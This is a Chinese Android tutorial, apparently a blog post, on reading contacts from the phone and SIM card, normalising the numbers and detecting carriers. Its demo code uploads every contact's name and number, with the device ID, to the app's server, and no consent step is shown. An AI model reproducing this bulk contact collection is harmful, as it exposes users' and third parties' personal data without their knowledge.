Android上如何获取手机和sim卡的联系人信息

需求很明确,获取手机和sim的联系人信息。接口设计也很简介

public interface OnFetchContactsListener {
  void onFetcherContactsComplete(List list);
}

数据设计为:

public class ContactInfo extends BaseModel {
    private static final long serialVersionUID = -8650648832668794807L;
    /**联系人名**/
    private String mName;
    /**联系人电话号码**/
    private String mPhoneNumber;
    /**联系人ID**/
    private String mId;
    /**联系人名字字母**/
    private String mNameLetter;
    private int mOperatorType; //运营商判断,可有可无
}

细分一下,这里要解决3个问题:

  1. 如何获取手机联系人信息
  2. 如何获取sim卡的联系人信息
  3. 取出来的手机信息需要预处理一下变成统一个11位格式。

问题1:如何获取手机联系人信息

根据ContactsContract.Contacts.CONTENT_URI查询ContentResolver里面的数据,逐个取值即可。

问题2:如何获取sim卡的联系人信息

根据目前查找的信息来看,sim联系人的uri有两种:

  1. content://icc/adn
  2. content://sim/adn
    挨个去取即可。

问题3:预处理手机号

这个比较多变,常见的存储格式有:

  1. "13515681234"
  2. "135-1568-1234"
  3. "135 1568 1234"
  4. "+86 135 1568 1234"
    考虑到只使用国内市场,所以最后可以统一为"13515681234"

完整demo如下

包含两个文件:ContactsFetcherHelper和ContactInfo

public class ContactInfo extends BaseModel {
    private static final long serialVersionUID = -8650648832668794807L;
    /**联系人名**/
    private String mName;
    /**联系人电话号码**/
    private String mPhoneNumber;
    /**联系人ID**/
    private String mId;
    /**联系人名字字母**/
    private String mNameLetter;
    private int mOperatorType; //运营商判断,可有可无
    public void setLetter(String letter) {
        mNameLetter = letter;
    }
    public String getLetter() {
        return mNameLetter;
    }
    public void setName(String name) {
        mName = name;
    }
    public String getName() {
        return mName == null? "" : mName;
    }
    public void setPhoneNumber(String number) {
        mPhoneNumber = number;
        if (isMobileNumber(number) || isUnicomNumber(number)) {
            setmOperatorType(0);
        } else {
            setmOperatorType(1);
        }
    }
    public String getPhoneNumber() {
        return mPhoneNumber;
    }
    public void setId(String id) {
        mId = id;
    }
    public String getId() {
        return mId;
    }
    public int getmOperatorType() {
        return mOperatorType;
    }
    public void setmOperatorType(int mOperatorType) {
        this.mOperatorType = mOperatorType;
    }
    public static final String MOBILENUMBER_EX = "^1(3[4-9]|4[7]|5[012789]|8[23478]|7[8])\\d{8}$";//移动
    public static final String TELECOMNUMBER_EX = "^1(3[3]|5[3]|8[019]|9[8])\\d{8}$";//电信
    public static final String UNICOMNUMBER_EX = "^1(3[012]|4[5]|5[56]|8[56])\\d{8}$";//联通
    public static final String MOBILENUMBER_EX_2 = "^1(3[4-9]|4[7]|5[012789]|8[23478]|7[8])\\d*$";//移动
    public static boolean isMobileNumber(String caller){
        return ex(caller, MOBILENUMBER_EX);
    }
    public static boolean isUnicomNumber(String caller){
        return ex(caller, UNICOMNUMBER_EX);
    }
    public static boolean isTelecomNumber(String caller){
        return ex(caller, TELECOMNUMBER_EX);
    }
    public static boolean ex(String caller,String ex){
        Pattern pattern = Pattern.compile(ex);
        Matcher matcher = pattern.matcher(caller);
        return matcher.matches();
    }
}
public class ContactsFetcherHelper implements Runnable {
    private static final String TAG = ContactsFetcherHelper.class.getSimpleName();

    public interface OnFetchContactsListener {
        void onFetcherContactsComplete(List list);
    }

    /**
     * 查询联系人信息
     * @param context
     */
    public static void queryContactInfo(final Context context) {
        final Dialog loadingDlg = UIUtil.getLoadingDlg(context, false);
        loadingDlg.show();
        ContactsFetcherHelper mContactsFetcherHelper = new ContactsFetcherHelper();
        mContactsFetcherHelper.start(context, new ContactsFetcherHelper.OnFetchContactsListener() {

            @Override
            public void onFetcherContactsComplete(final List list) {
                loadingDlg.dismiss();
                if (list != null && list.size() > 0) {
                    Log.d(TAG, "list.size() = " + list.size());
                    new SimpleSafeTask(context, UIUtil.getLoadingDlg(context, false)) {

                        @Override
                        protected NetResultInfo doInBackgroundSafely() throws Exception {
                            SendMobileContantNetResultInfo.Request params = new SendMobileContantNetResultInfo.Request();
                            String deviceId = DataManager.getDeviceUUIDModel().getDeviceId();
                            params.setDeviceId(deviceId);
                            List tmplist = new ArrayList();
                            for (ContactInfo ci:list) {
                                ContactModel tmp = new ContactModel();
                                tmp.setDeviceId(deviceId);
                                tmp.setContactName(ci.getName());
                                tmp.setContactPhone(ci.getPhoneNumber());
                                tmplist.add(tmp);
                            }
                            params.setList(tmplist);
                            return RepositoryCollection.sendMobileContant(params);
                        }

                        @Override
                        protected void onPostExecuteSafely(NetResultInfo netResultInfo, Exception e) {
                            super.onPostExecuteSafely(netResultInfo, e);
                            Log.d(TAG, "sendMobileContant, netResultInfo = " + netResultInfo);
                        }
                    }.execute();
                }
                else {
                    Log.d(TAG, "list = " + list);
                }
            }
        });
    }

    private OnFetchContactsListener mListener;
    private boolean mCancel = false;
    private Context mContext;
    private boolean mIsFetching = false;
    private Thread mFetchThread;

    public void start(Context context, OnFetchContactsListener l) {
        if (mIsFetching) {
            return;
        }
        mContext = context;
        mCancel = false;
        mIsFetching = true;
        mListener = l;
        mFetchThread = new Thread(this);
        mFetchThread.start();
    }

    public void cancel() {
        mCancel = true;
    }

    @Override
    public void run() {
        List list = new ArrayList();
        Set set = new HashSet();
        if (!mCancel) {
            Log.d(TAG, "getPhoneContactHighVersion");
            //读取手机里的手机联系人
            getPhoneContactHighVersion(list, set);
        }
        if (!mCancel) {
            Log.d(TAG, "getSimContact");
            //读取Sim卡中的手机联系人
            getSimContact("content://icc/adn", list, set);
        }
        
        if (!mCancel) {
            Log.d(TAG, "getSimContact");
            getSimContact("content://sim/adn", list, set);
        }
        if (!mCancel && null != mListener) {
            mIsFetching = false;
            mListener.onFetcherContactsComplete(list);
        }
    }

    // 从本机中取号
    private void getPhoneContactHighVersion(List list,
            Set set) {
        // 得到ContentResolver对象
        try {
            if (null == mContext) {
                return;
            }
            ContentResolver cr = mContext.getContentResolver();
            if (null == cr) {
                return;
            }
            // 取得电话本中开始一项的光标
            Uri uri = ContactsContract.Contacts.CONTENT_URI;
            Cursor cursor = null;
            try {
                String[] projection = { ContactsContract.Contacts._ID,
                        ContactsContract.Contacts.DISPLAY_NAME,"sort_key"};
                cursor = cr.query(uri, projection, null, null,
                        null);
            } catch (Exception e) {
                e.printStackTrace();
            }
            while (!mCancel && null != cursor && cursor.moveToNext()) {
                int nameFieldColumnIndex = cursor
                        .getColumnIndex(PhoneLookup.DISPLAY_NAME);
                int idCol = cursor.getInt(cursor
                        .getColumnIndex(ContactsContract.Contacts._ID));
                int sort_key_index = cursor.getColumnIndex("sort_key");
                Log.d("BBB", "sort_key_index=" + sort_key_index);
                
                // 取得联系人名字
                // 取得联系人ID
                Cursor phone = cr.query(
                        ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
                        ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=?",
                        new String[] { Integer.toString(idCol) }, null);//
                // 再类ContactsContract.CommonDataKinds.Phone中根据查询相应id联系人的所有电话;
    
                // 取得电话号码(可能存在多个号码)
                while (!mCancel && phone.moveToNext()) {
                    String strPhoneNumber = formatMobileNumber(phone
                            .getString(phone
                                    .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)));
                    boolean b = isUserNumber(strPhoneNumber);
                    if (b) {
                        ContactInfo cci = new ContactInfo();
                        Log.d("BBB", "getPhoneContactHighVersion strPhoneNumber=" + strPhoneNumber);
                        cci.setName(cursor.getString(nameFieldColumnIndex));
                        cci.setLetter(cursor.getString(sort_key_index));
                        Log.d("BBB", "letter=" + cci.getLetter());
                        cci.setPhoneNumber(strPhoneNumber);
                        cci.setId(String.valueOf(idCol));
                        list.add(cci);
                        set.add(cci.getPhoneNumber());
                    }
                }
                phone.close();
            }
            if(null != cursor) {
                cursor.close();
            }
        } catch (SecurityException e) {
            e.printStackTrace();
        }
    }

    private void getSimContact(String adn, List list,
            Set set) {
        // 读取SIM卡手机号,有两种可能:content://icc/adn与content://sim/adn
        Cursor cursor = null;
        try {
            
            Intent intent = new Intent();
            intent.setData(Uri.parse(adn));
            Uri uri = intent.getData();
            Log.d("getSimContact uri= ", uri.toString());
            cursor = mContext.getContentResolver().query(uri, null,
                    null, null, null);
            if (cursor != null) {
                while (!mCancel && cursor.moveToNext()) {
                    // 取得联系人名字
                    int nameIndex = cursor.getColumnIndex("name");
                    // 取得电话号码
                    int numberIndex = cursor.getColumnIndex("number");
                    String number = cursor.getString(numberIndex);
                    Log.d("getSimContact nameIndex= ", number);
                    if (isUserNumber(number)) {// 是否是手机号码
                        ContactInfo sci = new ContactInfo();
                        sci.setPhoneNumber(formatMobileNumber(number));
                        sci.setName(cursor.getString(nameIndex));
                        if (!isContain(set, sci.getPhoneNumber())) {// //是否在LIST内存在
                            list.add(sci);
                            set.add(sci.getPhoneNumber());
                        }
                    }
                }
                cursor.close();
            }
        } catch (Exception e) {
            Log.i(TAG, e.toString());
            if(cursor != null)
                cursor.close();
        }
    }

    private String formatMobileNumber(String num2) {
        String num;
        if (num2 != null) {
            // 有的通讯录格式为135-1568-1234
            num = num2.replaceAll("-", "");
            // 有的通讯录格式中- 变成了空格
            num = num.replaceAll(" ", "");
            if (num.startsWith("+86")) {
                num = num.substring(3);
            } else if (num.startsWith("86")) {
                num = num.substring(2);
            } else if (num.startsWith("86")) {
                num = num.substring(2);
            }
        } else {
            num = "";
        }
        // 有些手机号码格式 86后有空格
        return num.trim();
    }

    private boolean isUserNumber(String num) {
        if (null == num || "".equalsIgnoreCase(num)) {
            return false;
        }
        boolean re = false;
        if (num.length() == 11) {
            if (num.startsWith("1")) {
                re = true;
            }
        }
        return re;
    }

    private boolean isContain(Set set, String un) {
        return set.contains(un);
    }
}

Panda
2016-08-27

你可能感兴趣的:(Android上如何获取手机和sim卡的联系人信息)